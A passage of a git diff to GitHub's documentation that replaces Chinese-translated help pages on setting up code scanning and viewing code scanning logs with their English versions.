variables.product.prodname_codeql %} 分析提供完全集成的支持，还支持使用第三方工具进行分析。 更多信息请参阅“[关于 {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/about-code-scanning#about-tools-for-code-scanning)”。 +You decide how to generate {% data variables.product.prodname_code_scanning %} alerts, and which tools to use, at a repository level. {% data variables.product.product_name %} provides fully integrated support for {% data variables.product.prodname_codeql %} analysis, and also supports analysis using third-party tools. For more information, see "[About {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/about-code-scanning#about-tools-for-code-scanning)." {% data reusables.code-scanning.enabling-options %} -## 使用操作设置 {% data variables.product.prodname_code_scanning %} +{% ifversion ghae %} +## Prerequisites -{% ifversion fpt or ghec %}使用操作运行 {% data variables.product.prodname_code_scanning %} 将消耗分钟数。 更多信息请参阅“[关于 {% data variables.product.prodname_actions %} 的计费](/billing/managing-billing-for-github-actions/about-billing-for-github-actions).”{% endif %} +Before setting up {% data variables.product.prodname_code_scanning %} for a repository, you must ensure that there is at least one self-hosted {% data variables.product.prodname_actions %} runner available to the repository. + +Enterprise owners, organization and repository administrators can add self-hosted runners. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)" and "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)." +{% endif %} + +## Setting up {% data variables.product.prodname_code_scanning %} using actions + +{% ifversion fpt or ghec %}Using actions to run {% data variables.product.prodname_code_scanning %} will use minutes. For more information, see "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)."{% endif %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} -3. 在“{% data variables.product.prodname_code_scanning_capc %} 警报”右侧，单击**设置 {% data variables.product.prodname_code_scanning %}**。 {% ifversion fpt or ghes > 3.0 or ghae-next or ghec %}如果 {% data variables.product.prodname_code_scanning %} 缺少，您必须要求组织所有者或仓库管理员启用 {% data variables.product.prodname_GH_advanced_security %}。 更多信息请参阅“[管理组织的安全性和分析设置](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)”或“[管理仓库的安全和分析设置](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)”。{% endif %} !["Set up code scanning" button to the right of "Code scanning" in the Security Overview](/assets/images/help/security/overview-set-up-code-scanning.png) -4. Under "Get started with code scanning", click **Set up this workflow** on the {% data variables.product.prodname_codeql_workflow %} or on a third-party workflow. !["Set up this workflow" button under "Get started with {% data variables.product.prodname_code_scanning %}" heading](/assets/images/help/repository/code-scanning-set-up-this-workflow.png)工作流程仅在与仓库中检测到的编程语言相关时才会显示。 {% data variables.product.prodname_codeql_workflow %} 始终显示，但仅在 {% data variables.product.prodname_codeql %} 分析支持仓库中存在的语言时才启用“Set up this workflow（设置此工作流程）”按钮。 -5. Optionally, to customize how {% data variables.product.prodname_code_scanning %} scans your code, edit the workflow. For more information, see "[Configuring {% data variables.product.prodname_code_scanning %}](/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning)." +1. To the right of "{% data variables.product.prodname_code_scanning_capc %} alerts", click **Set up {% data variables.product.prodname_code_scanning %}**. {% ifversion fpt or ghes > 3.0 or ghae-next or ghec %}If {% data variables.product.prodname_code_scanning %} is missing, you need to ask an organization owner or repository administrator to enable {% data variables.product.prodname_GH_advanced_security %}. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" or "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)."{% endif %} + !["Set up {% data variables.product.prodname_code_scanning %}" button to the right of "{% data variables.product.prodname_code_scanning_capc %}" in the Security Overview](/assets/images/help/security/overview-set-up-code-scanning.png) +4. Under "Get started with {% data variables.product.prodname_code_scanning %}", click **Set up this workflow** on the {% data variables.product.prodname_codeql_workflow %} or on a third-party workflow. + !["Set up this workflow" button under "Get started with {% data variables.product.prodname_code_scanning %}" heading](/assets/images/help/repository/code-scanning-set-up-this-workflow.png)Workflows are only displayed if they are relevant for the programming languages detected in the repository. The {% data variables.product.prodname_codeql_workflow %} is always displayed, but the "Set up this workflow" button is only enabled if {% data variables.product.prodname_codeql %} analysis supports the languages present in the repository. +5. To customize how {% data variables.product.prodname_code_scanning %} scans your code, edit the workflow. - 一般来说，您可以提交 {% data variables.product.prodname_codeql_workflow %} 而不对其做任何更改。 但是，许多第三方工作流程需要额外的配置，因此在提交之前请阅读工作流程中的注释。 + Generally you can commit the {% data variables.product.prodname_codeql_workflow %} without making any changes to it. However, many of the third-party workflows require additional configuration, so read the comments in the workflow before committing. - 更多信息请参阅“[配置 {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning)。” -6. 使用 **Start commit（开始提交）**下拉菜单，并键入提交消息。 ![开始提交](/assets/images/help/repository/start-commit-commit-new-file.png) -7. 选择您是想直接提交到默认分支，还是创建新分支并启动拉取请求。 ![选择提交位置](/assets/images/help/repository/start-commit-choose-where-to-commit.png) -8. 单击 **Commit new file（提交新文件）**或 **Propose new file（提议新文件）**。 + For more information, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning)." +6. Use the **Start commit** drop-down, and type a commit message. + ![Start commit](/assets/images/help/repository/start-commit-commit-new-file.png) +7. Choose whether you'd like to commit directly to the default branch, or create a new branch and start a pull request. + ![Choose where to commit](/assets/images/help/repository/start-commit-choose-where-to-commit.png) +8. Click **Commit new file** or **Propose new file**. -在默认 {% data variables.product.prodname_codeql_workflow %} 中，{% data variables.product.prodname_code_scanning %} 配置为在每次将更改推送到默认分支或任何受保护分支或者对默认分支提出拉取请求时分析代码。 因此，{% data variables.product.prodname_code_scanning %} 将立即开始。 +In the default {% data variables.product.prodname_codeql_workflow %}, {% data variables.product.prodname_code_scanning %} is configured to analyze your code each time you either push a change to the default branch or any protected branches, or raise a pull request against the default branch. As a result, {% data variables.product.prodname_code_scanning %} will now commence. The `on:pull_request` and `on:push` triggers for code scanning are each useful for different purposes. For more information, see "[Scanning pull requests](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#scanning-pull-requests)" and "[Scanning on push](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#scanning-on-push)." -## 批量设置 {% data variables.product.prodname_code_scanning %} +## Bulk set up of {% data variables.product.prodname_code_scanning %} -您可以使用脚本在多个仓库中一次设置 {% data variables.product.prodname_code_scanning %}。 If you'd like to use a script to raise pull requests that add a {% data variables.product.prodname_actions %} workflow to multiple repositories, see the [`jhutchings1/Create-ActionsPRs`](https://github.com/jhutchings1/Create-ActionsPRs) repository for an example using PowerShell, or [`nickliffen/ghas-enablement`](https://github.com/NickLiffen/ghas-enablement) for teams who do not have PowerShell and instead would like to use NodeJS. +You can set up {% data variables.product.prodname_code_scanning %} in many repositories at once using a script. If you'd like to use a script to raise pull requests that add a {% data variables.product.prodname_actions %} workflow to multiple repositories, see the [`jhutchings1/Create-ActionsPRs`](https://github.com/jhutchings1/Create-ActionsPRs) repository for an example using PowerShell, or [`nickliffen/ghas-enablement`](https://github.com/NickLiffen/ghas-enablement) for teams who do not have PowerShell and instead would like to use NodeJS. -## You decide how you generate {% data variables.product.prodname_code_scanning %} alerts, and which tools you use, at a repository level. {% data variables.product.product_name %} provides fully integrated support for {% data variables.product.prodname_codeql %} analysis, and also supports analysis using third-party tools. For more information, see "[About {% data variables.product.prodname_codeql %}](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning#about-codeql)." +## Viewing the logging output from {% data variables.product.prodname_code_scanning %} -为仓库设置 {% data variables.product.prodname_code_scanning %} 后，您可以关注操作运行时的输出。 +After setting up {% data variables.product.prodname_code_scanning %} for your repository, you can watch the output of the actions as they run. {% data reusables.repositories.actions-tab %} - You can view the run status of {% data variables.product.prodname_code_scanning %} and get notifications for completed runs. For more information, see "[Managing a workflow run](/actions/configuring-and-managing-workflows/managing-a-workflow-run)" and "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#github-actions-notification-options)." 条目的文本是提交消息的标题。 + You'll see a list that includes an entry for running the {% data variables.product.prodname_code_scanning %} workflow. The text of the entry is the title you gave your commit message. - ![After you commit the workflow file or create a pull request, {% data variables.product.prodname_code_scanning %} will analyze your code according to the frequency you specified in your workflow file. If you created a pull request, {% data variables.product.prodname_code_scanning %} will only analyze the code on the pull request's topic branch until you merge the pull request into the default branch of the repository.](/assets/images/help/repository/code-scanning-actions-list.png) + ![Actions list showing {% data variables.product.prodname_code_scanning %} workflow](/assets/images/help/repository/code-scanning-actions-list.png) -1. 单击 {% data variables.product.prodname_code_scanning %} 工作流程的项目。 +1. Click the entry for the {% data variables.product.prodname_code_scanning %} workflow. -1. 单击左侧的作业名称。 例如 **Analyze (LANGUAGE)**。 +1. Click the job name on the left. For example, **Analyze (LANGUAGE)**. - ![{% data variables.product.prodname_code_scanning %} 工作流程的日志输出](/assets/images/help/repository/code-scanning-logging-analyze-action.png) + ![Log output from the {% data variables.product.prodname_code_scanning %} workflow](/assets/images/help/repository/code-scanning-logging-analyze-action.png) -1. 查看此工作流运行时操作的日志记录输出。 +1. Review the logging output from the actions in this workflow as they run. -1. 在所有作业完成后，您可以查看已识别的任何 {% data variables.product.prodname_code_scanning %} 警报的详细信息。 更多信息请参阅“[管理仓库的 {% data variables.product.prodname_code_scanning %} 警报](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)”。 +1. Once all jobs are complete, you can view the details of any {% data variables.product.prodname_code_scanning %} alerts that were identified. For more information, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)." {% note %} -**注意：** 如果您提出拉取请求以将 {% data variables.product.prodname_code_scanning %} 工作流程添加到仓库，则在合并拉取请求之前，来自该拉取请求的警报不会直接显示在 {% data variables.product.prodname_code_scanning_capc %} 页面上。 如果发现任何警报，您可以在合并拉取请求之前查看这些警报，方法是在 {% data variables.product.prodname_code_scanning_capc %} 页面上的横幅中点击**发现的 _n_ 条警报**链接。 +**Note:** If you raised a pull request to add the {% data variables.product.prodname_code_scanning %} workflow to the repository, alerts from that pull request aren't displayed directly on the {% data variables.product.prodname_code_scanning_capc %} page until the pull request is merged. If any alerts were found you can view these, before the pull request is merged, by clicking the **_n_ alerts found** link in the banner on the {% data variables.product.prodname_code_scanning_capc %} page. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} - ![点击"发现的 n 条警报"链接](/assets/images/help/repository/code-scanning-alerts-found-link.png) + ![Click the "n alerts found" link](/assets/images/help/repository/code-scanning-alerts-found-link.png) {% else %} - ![点击"发现的 n 条警报"链接](/assets/images/enterprise/3.1/help/repository/code-scanning-alerts-found-link.png) + ![Click the "n alerts found" link](/assets/images/enterprise/3.1/help/repository/code-scanning-alerts-found-link.png) {% endif %} {% endnote %} -## 了解拉取请求检查 +## Understanding the pull request checks -设置在拉取请求上运行的每个 {% data variables.product.prodname_code_scanning %} 工作流程始终有至少两个条目列在拉取请求的检查部分中。 工作流程中每个分析作业有一个条目，最后还有一个对应于分析结果的条目。 +Each {% data variables.product.prodname_code_scanning %} workflow you set to run on pull requests always has at least two entries listed in the checks section of a pull request. There is one entry for each of the analysis jobs in the workflow, and a final one for the results of the analysis. -{% data variables.product.prodname_code_scanning %} 分析检查的名称采用形式："TOOL NAME / JOB NAME (TRIGGER)"。 例如，对于 {% data variables.product.prodname_codeql %}，C++ 代码的分析有条目 "{% data variables.product.prodname_codeql %} / Analyze (cpp) (pull_request)"。 您可以单击 {% data variables.product.prodname_code_scanning %} 分析条目上的**Details（详细信息）**来查看日志记录数据。 这允许您在分析作业失败时调试问题。 例如，对于编译的语言的 {% data variables.product.prodname_code_scanning %} 分析，如果操作无法生成代码，则可能会发生这种情况。 +The names of the {% data variables.product.prodname_code_scanning %} analysis checks take the form: "TOOL NAME / JOB NAME (TRIGGER)." For example, for {% data variables.product.prodname_codeql %}, analysis of C++ code has the entry "{% data variables.product.prodname_codeql %} / Analyze (cpp) (pull_request)." You can click **Details** on a {% data variables.product.prodname_code_scanning %} analysis entry to see logging data. This allows you to debug a problem if the analysis job failed. For example, for {% data variables.product.prodname_code_scanning %} analysis of compiled languages, this can happen if the action can't build the code. - ![After a scan completes, you can view alerts from a completed scan. For more information, see "Managing alerts from {% data variables.product.prodname_code_scanning %}."](/assets/images/help/repository/code-scanning-pr-checks.png) + ![{% data variables.product.prodname_code_scanning %} pull request checks](/assets/images/help/repository/code-scanning-pr-checks.png) -当 {% data variables.product.prodname_code_scanning %} 作业完成后， {% data variables.product.prodname_dotcom %} 检查拉取请求是否添加了任何警报，并将“{% data variables.product.prodname_code_scanning_capc %} 结果/工具名称”条目添加到检查列表中。 在执行至少一次 {% data variables.product.prodname_code_scanning %} 后，您可以单击 **Details（详细信息）**查看分析结果。 If you used a pull request to add {% data variables.product.prodname_code_scanning %} to the repository, you will initially see {% ifversion fpt or ghes > 3.2 or ghae-issue-3891 or ghec %}an "Analysis not found"{% else %}a "Missing analysis"{% endif %} message when you click **Details** on the "{% data variables.product.prodname_code_scanning_capc %} results / TOOL NAME" check. +When the {% data variables.product.prodname_code_scanning %} jobs complete, {% data variables.product.prodname_dotcom %} works out whether any alerts were added by the pull request and adds the "{% data variables.product.prodname_code_scanning_capc %} results / TOOL NAME" entry to the list of checks. After {% data variables.product.prodname_code_scanning %} has been performed at least once, you can click **Details** to view the results of the analysis. If you used a pull request to add {% data variables.product.prodname_code_scanning %} to the repository, you will initially see {% ifversion fpt or ghes > 3.2 or ghae-issue-3891 or ghec %}an "Analysis not found"{% else %}a "Missing analysis"{% endif %} message when you click **Details** on the "{% data variables.product.prodname_code_scanning_capc %} results / TOOL NAME" check. {% ifversion fpt or ghes > 3.2 or ghae-issue-3891 or ghec %} ![Analysis not found for commit message](/assets/images/help/repository/code-scanning-analysis-not-found.png) -The table lists one or more categories. Each category relates to specific analyses, for the same tool and commit, performed on a different language or a different part of the code. For each category, the table shows the two analyses that {% data variables.product.prodname_code_scanning %} attempted to compare to determine which alerts were introduced or fixed in the pull request. +The table lists one or more categories. Each category relates to specific analyses, for the same tool and commit, performed on a different language or a different part of the code. For each category, the table shows the two analyses that {% data variables.product.prodname_code_scanning %} attempted to compare to determine which alerts were introduced or fixed in the pull request. For example, in the screenshot above, {% data variables.product.prodname_code_scanning %} found an analysis for the merge commit of the pull request, but no analysis for the head of the main branch. {% else %} - ![缺少提交消息的分析](/assets/images/enterprise/3.2/repository/code-scanning-missing-analysis.png) + ![Missing analysis for commit message](/assets/images/enterprise/3.2/repository/code-scanning-missing-analysis.png) {% endif %} {% ifversion fpt or ghes > 3.2 or ghae-issue-3891 or ghec %} @@ -117,37 +127,37 @@ For example, in the screenshot above, {% data variables.product.prodname_code_sc ### Reasons for the "Missing analysis" message {% endif %} -在 {% data variables.product.prodname_code_scanning %} 分析拉取请求中的代码后，它需要将主题分支（用于创建拉取请求的分支）的分析与基本分支（要合并拉取请求的分支）的分析进行比较。 这允许 {% data variables.product.prodname_code_scanning %} 计算哪些警报是拉取请求新近引入的，哪些是基础分支中已经存在的，以及是否有任何现有的警报通过拉取请求中的更改来修复。 最初，如果使用拉取请求将 {% data variables.product.prodname_code_scanning %} 添加到仓库，则尚未分析基础分支，因此无法计算这些详细信息。 In this case, when you click through from the results check on the pull request you will see the {% ifversion fpt or ghes > 3.2 or ghae-issue-3891 or ghec %}"Analysis not found"{% else %}"Missing analysis for base commit SHA-HASH"{% endif %} message. +After {% data variables.product.prodname_code_scanning %} has analyzed the code in a pull request, it needs to compare the analysis of the topic branch (the branch you used to create the pull request) with the analysis of the base branch (the branch into which you want to merge the pull request). This allows {% data variables.product.prodname_code_scanning %} to compute which alerts are newly introduced by the pull request, which alerts were already present in the base branch, and whether any existing alerts are fixed by the changes in the pull request. Initially, if you use a pull request to add {% data variables.product.prodname_code_scanning %} to a repository, the base branch has not yet been analyzed, so it's not possible to compute these details. In this case, when you click through from the results check on the pull request you will see the {% ifversion fpt or ghes > 3.2 or ghae-issue-3891 or ghec %}"Analysis not found"{% else %}"Missing analysis for base commit SHA-HASH"{% endif %} message. -在其他情况下，可能没有分析对拉取请求的基础分支的最新提交。 这些包括： +There are other situations where there may be no analysis for the latest commit to the base branch for a pull request. These include: -* 已针对默认分支以外的分支提出拉取请求，并且尚未分析此分支。 +* The pull request has been raised against a branch other than the default branch, and this branch hasn't been analyzed. - 要检查是否扫描了分支，请转到 {% data variables.product.prodname_code_scanning_capc %} 页面，单击 **Branch<（分支）**下拉菜单并选择相关分支。 + To check whether a branch has been scanned, go to the {% data variables.product.prodname_code_scanning_capc %} page, click the **Branch** drop-down and select the relevant branch. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} - ![从 Branch（分支）下拉菜单中选择一个分支](/assets/images/help/repository/code-scanning-branch-dropdown.png) + ![Choose a branch from the Branch drop-down menu](/assets/images/help/repository/code-scanning-branch-dropdown.png) {% else %} - ![从 Branch（分支）下拉菜单中选择一个分支](/assets/images/enterprise/3.1/help/repository/code-scanning-branch-dropdown.png) + ![Choose a branch from the Branch drop-down menu](/assets/images/enterprise/3.1/help/repository/code-scanning-branch-dropdown.png) {% endif %} - {% if currentVersion == "free-pro-team@latest" %}Using actions to run {% data variables.product.prodname_code_scanning %} will use minutes. For more information, see "[About billing for {% data variables.product.prodname_actions %}](/github/setting-up-and-managing-billing-and-payments-on-github/about-billing-for-github-actions)."{% endif %} + The solution in this situation is to add the name of the base branch to the `on:push` and `on:pull_request` specification in the {% data variables.product.prodname_code_scanning %} workflow on that branch and then make a change that updates the open pull request that you want to scan. -* 目前正在分析拉取请求的基础分支上的最新提交，分析尚未提供。 +* The latest commit on the base branch for the pull request is currently being analyzed and analysis is not yet available. - 等待几分钟，然后将更改推送到拉取请求以重新触发 {% data variables.product.prodname_code_scanning %}。 + Wait a few minutes and then push a change to the pull request to retrigger {% data variables.product.prodname_code_scanning %}. -* 在分析基础分支上的最新提交时发生了错误，且该提交的分析不可用。 +* An error occurred while analyzing the latest commit on the base branch and analysis for that commit isn't available. - 将一个微小的更改合并到基础分支以触发此最新提交的 {% data variables.product.prodname_code_scanning %}，然后将更改推送到拉取请求以重新触发 {% data variables.product.prodname_code_scanning %}。 + Merge a trivial change into the base branch to trigger {% data variables.product.prodname_code_scanning %} on this latest commit, then push a change to the pull request to retrigger {% data variables.product.prodname_code_scanning %}. -## 后续步骤 +## Next steps -设置 {% data variables.product.prodname_code_scanning %} 并允许其操作完成后，您可以： +After setting up {% data variables.product.prodname_code_scanning %}, and allowing its actions to complete, you can: -- 查看为此仓库生成的所有 {% data variables.product.prodname_code_scanning %} 警报。 更多信息请参阅“[管理仓库的 {% data variables.product.prodname_code_scanning %} 警报](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)”。 -- 查看在设置 {% data variables.product.prodname_code_scanning %} 后提交的拉取请求生成的任何警报。 更多信息请参阅“[对拉取请求中的 {% data variables.product.prodname_code_scanning %} 警报分类](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)”。 -- 为已完成的运行设置通知。 更多信息请参阅“[配置通知](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#github-actions-notification-options)”。 -- 查看由 {% data variables.product.prodname_code_scanning %} 分析生成的日志。 更多信息请参阅“[查看 {% data variables.product.prodname_code_scanning %} 日志](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs)”。 -- 调查初始设置 {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} 时发生的任何问题。 更多信息请参阅“[{% data variables.product.prodname_codeql %} 工作流程疑难解答](/code-security/secure-coding/troubleshooting-the-codeql-workflow)”。 -- 自定义 {% data variables.product.prodname_code_scanning %} 如何扫描您的仓库中的代码。 更多信息请参阅“[配置 {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning)。” +- View all of the {% data variables.product.prodname_code_scanning %} alerts generated for this repository. For more information, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)." +- View any alerts generated for a pull request submitted after you set up {% data variables.product.prodname_code_scanning %}. For more information, see "[Triaging {% data variables.product.prodname_code_scanning %} alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)." +- Set up notifications for completed runs. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#github-actions-notification-options)." +- View the logs generated by the {% data variables.product.prodname_code_scanning %} analysis. For more information, see "[Viewing {% data variables.product.prodname_code_scanning %} logs](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs)." +- Investigate any problems that occur with the initial setup of {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %}. For more information, see "[Troubleshooting the {% data variables.product.prodname_codeql %} workflow](/code-security/secure-coding/troubleshooting-the-codeql-workflow)." +- Customize how {% data variables.product.prodname_code_scanning %} scans the code in your repository. For more information, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning)." diff --git a/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs.md b/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs.md index 7f06194475..cf3525beb6 100644 --- a/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs.md +++ b/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs.md @@ -1,6 +1,6 @@ --- -title: 查看代码扫描日志 -intro: '您可以在 {% data variables.product.product_location %} 中查看 {% data variables.product.prodname_code_scanning %} 分析期间生成的输出。' +title: Viewing code scanning logs +intro: 'You can view the output generated during {% data variables.product.prodname_code_scanning %} analysis in {% data variables.product.product_location %}.' product: '{% data reusables.gated-features.code-scanning %}' permissions: 'If you have write permissions to a repository, you can view the {% data variables.product.prodname_code_scanning %} logs for that repository.' miniTocMaxHeadingLevel: 4 @@ -13,70 +13,70 @@ versions: ghec: '*' topics: - Security -shortTitle: 查看代码扫描日志 +shortTitle: View code scanning logs --- {% data reusables.code-scanning.beta %} {% data reusables.code-scanning.enterprise-enable-code-scanning-actions %} -## 关于第三方 {% data variables.product.prodname_code_scanning %} 设置 +## About your {% data variables.product.prodname_code_scanning %} setup -您可以使用各种工具在仓库中设置 {% data variables.product.prodname_code_scanning %} 。 更多信息请参阅“[为仓库设置 {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#options-for-setting-up-code-scanning)”。 +You can use a variety of tools to set up {% data variables.product.prodname_code_scanning %} in your repository. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#options-for-setting-up-code-scanning)." {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} -您可用的日志和诊断信息取决于您在 {% data variables.product.prodname_code_scanning %} 中使用的方法。 您可以使用警报列表中的 **Tool（工具）**下拉菜单，检查仓库的 **Security（安全）**选项卡中使用的 {% data variables.product.prodname_code_scanning %} 类型。 更多信息请参阅“[管理仓库的 {% data variables.product.prodname_code_scanning %} 警报](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)”。 +The log and diagnostic information available to you depends on the method you use for {% data variables.product.prodname_code_scanning %} in your repository. You can check the type of {% data variables.product.prodname_code_scanning %} you're using in the **Security** tab of your repository, by using the **Tool** drop-down menu in the alert list. For more information, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)." -## 关于分析和诊断信息 +## About analysis and diagnostic information -您可以使用 {% data variables.product.prodname_dotcom %} 上的 {% data variables.product.prodname_codeql %} 分析查看 {% data variables.product.prodname_code_scanning %} 运行的分析和诊断信息。 +You can see analysis and diagnostic information for {% data variables.product.prodname_code_scanning %} run using {% data variables.product.prodname_codeql %} analysis on {% data variables.product.prodname_dotcom %}. -在警报列表顶部的标题中显示最近分析的**分析**信息。 更多信息请参阅“[管理仓库的代码扫描警报](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)”。 +**Analysis** information is shown for the most recent analysis in a header at the top of the list of alerts. For more information, see "[Managing code scanning alerts for your repository](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)." -**诊断**信息显示在行动工作流日志中，包含汇总表和提取器诊断。 有关访问 {% data variables.product.prodname_dotcom %} 上的 {% data variables.product.prodname_code_scanning %} 日志的信息，请参阅下面的“[查看 {% data variables.product.prodname_code_scanning %}](#viewing-the-logging-output-from-code-scanning) 的日志输出”。 +**Diagnostic** information is displayed in the Action workflow logs and consists of summary metrics and extractor diagnostics. For information about accessing {% data variables.product.prodname_code_scanning %} logs on {% data variables.product.prodname_dotcom %}, see "[Viewing the logging output from {% data variables.product.prodname_code_scanning %}](#viewing-the-logging-output-from-code-scanning)" below. -如果您在 {% data variables.product.prodname_dotcom %} 外部使用 {% data variables.product.prodname_codeql_cli %} ，您将在数据库分析期间生成的输出中看到诊断信息。 此信息也包含在您随 {% data variables.product.prodname_code_scanning %} 结果上传到 {% data variables.product.prodname_dotcom %} 的 SARIF 结果文件中。 +If you're using the {% data variables.product.prodname_codeql_cli %} outside {% data variables.product.prodname_dotcom %}, you'll see diagnostic information in the output generated during database analysis. This information is also included in the SARIF results file you upload to {% data variables.product.prodname_dotcom %} with the {% data variables.product.prodname_code_scanning %} results. For information about the {% data variables.product.prodname_codeql_cli %}, see "[Configuring {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system#viewing-log-and-diagnostic-information)." -### 关于摘要指标 +### About summary metrics {% data reusables.code-scanning.summary-metrics %} -### 关于 {% data variables.product.prodname_codeql %} 源代码提取诊断信息 +### About {% data variables.product.prodname_codeql %} source code extraction diagnostics {% data reusables.code-scanning.extractor-diagnostics %} {% endif %} -## You decide how you generate {% data variables.product.prodname_code_scanning %} alerts, and which tools you use, at a repository level. {% data variables.product.product_name %} provides fully integrated support for {% data variables.product.prodname_codeql %} analysis, and also supports analysis using third-party tools. For more information, see "[About {% data variables.product.prodname_codeql %}](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning#about-codeql)." +## Viewing the logging output from {% data variables.product.prodname_code_scanning %} -本节适用于使用 {% data variables.product.prodname_code_scanning %} 的 {% data variables.product.prodname_actions %} 运行（{% data variables.product.prodname_codeql %} 或第三方）。 +This section applies to {% data variables.product.prodname_code_scanning %} run using {% data variables.product.prodname_actions %} ({% data variables.product.prodname_codeql %} or third-party). -为仓库设置 {% data variables.product.prodname_code_scanning %} 后，您可以关注操作运行时的输出。 +After setting up {% data variables.product.prodname_code_scanning %} for your repository, you can watch the output of the actions as they run. {% data reusables.repositories.actions-tab %} - You can view the run status of {% data variables.product.prodname_code_scanning %} and get notifications for completed runs. For more information, see "[Managing a workflow run](/actions/configuring-and-managing-workflows/managing-a-workflow-run)" and "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#github-actions-notification-options)." 条目的文本是提交消息的标题。 + You'll see a list that includes an entry for running the {% data variables.product.prodname_code_scanning %} workflow. The text of the entry is the title you gave your commit message. - ![After you commit the workflow file or create a pull request, {% data variables.product.prodname_code_scanning %} will analyze your code according to the frequency you specified in your workflow file. If you created a pull request, {% data variables.product.prodname_code_scanning %} will only analyze the code on the pull request's topic branch until you merge the pull request into the default branch of the repository.](/assets/images/help/repository/code-scanning-actions-list.png) + ![Actions list showing {% data variables.product.prodname_code_scanning %} workflow](/assets/images/help/repository/code-scanning-actions-list.png) -1. 单击 {% data variables.product.prodname_code_scanning %} 工作流程的项目。 +1. Click the entry for the {% data variables.product.prodname_code_scanning %} workflow. -2. 单击左侧的作业名称。 例如 **Analyze (LANGUAGE)**。 +2. Click the job name on the left. For example, **Analyze (LANGUAGE)**. - ![{% data variables.product.prodname_code_scanning %} 工作流程的日志输出](/assets/images/help/repository/code-scanning-logging-analyze-action.png) + ![Log output from the {% data variables.product.prodname_code_scanning %} workflow](/assets/images/help/repository/code-scanning-logging-analyze-action.png) -1. 查看此工作流运行时操作的日志记录输出。 +1. Review the logging output from the actions in this workflow as they run. -1. 在所有作业完成后，您可以查看已识别的任何 {% data variables.product.prodname_code_scanning %} 警报的详细信息。 更多信息请参阅“[管理仓库的 {% data variables.product.prodname_code_scanning %} 警报](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)”。 +1. Once all jobs are complete, you can view the details of any {% data variables.product.prodname_code_scanning %} alerts that were identified. For more information, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)." {% note %} -**注意：** 如果您提出拉取请求以将 {% data 